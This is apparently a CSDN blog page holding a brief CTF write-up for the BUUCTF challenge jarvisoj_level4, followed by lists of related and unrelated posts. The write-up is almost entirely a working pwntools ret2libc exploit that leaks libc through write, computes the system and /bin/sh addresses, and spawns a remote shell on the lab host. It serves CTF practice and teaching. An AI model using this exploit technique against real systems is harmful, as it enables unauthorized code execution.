[BUUCTF-pwn]——jarvisoj_level4

点我看 write up

exploit

from pwn import *
from LibcSearcher import *
p = remote("node3.buuoj.cn",26929)elf = ELF("./level4")
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
payload = 'a' * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)p.send(payload)
write_addr = u32(p.recv(4))
print hex(write_addr)
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

[BUUCTF-pwn]——jarvisoj_level4相关推荐

  1. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. u盘迷你linux,U盘上的迷你linux——BabyLinux
  2. java mybatis狂神说sql_帮你搞定Java面试,不要再错过了
  3. flask执行python脚本_如何在flask后端运行python脚本?
  4. 怎么自定义字体_自定义字体@fontface的常见应用
  5. linux java 进程内存_linux – 在java进程中消耗内存的是什么?
  6. Android 代码混淆(一)
  7. 开源直播OBS ( Open Broadcaster Software ) 多机位,多场景切换
  8. 达观数据郭权:用好ngResource和postman,提高你的开发调试效率
  9. 3U VPX板卡设计
  10. AVOD--avod/core/format_checker.py代码理解
  11. pdf如何去除保护限制,pdf复制打印限制怎么解除?
  12. ffi一些常见的错误
  13. Linux一条命令修改账号密码
  14. 记录docker自定义easyswoole镜像
  15. MyZip Mac一秒超快速解压/压缩
  16. 企业混合多云“芯”体验,上云、用数、赋智“组合拳”
  17. C++中的友元——编程界的老王
  18. 梯度,散度,拉普拉斯算子
  19. python里不能调用random库_Python标准库教程—random模块
  20. 火山视窗CEF浏览器用网页框架操作实现取本机IP、地址

热门文章

  1. 用 DomIt! XML 处理工作
  2. PHP-代码审计-SQL注入
  3. [CentOS Python系列] 四.阿里云服务器CentOS连接远程MySQL数据库及pymsql
  4. iOS之深入解析UmbrellaFramework的封装与应用
  5. 下面关于“栈”的描述,正确的是( )
  6. ModuleNotFoundError: No module named 'distutils.core'
  7. 2011年第二届蓝桥杯决赛 —— C语言本科 —— 第一题
  8. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1105:数组逆序重存放
  9. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1091:求阶乘的和
  10. 【Tools】WireShark3.2安装教程详解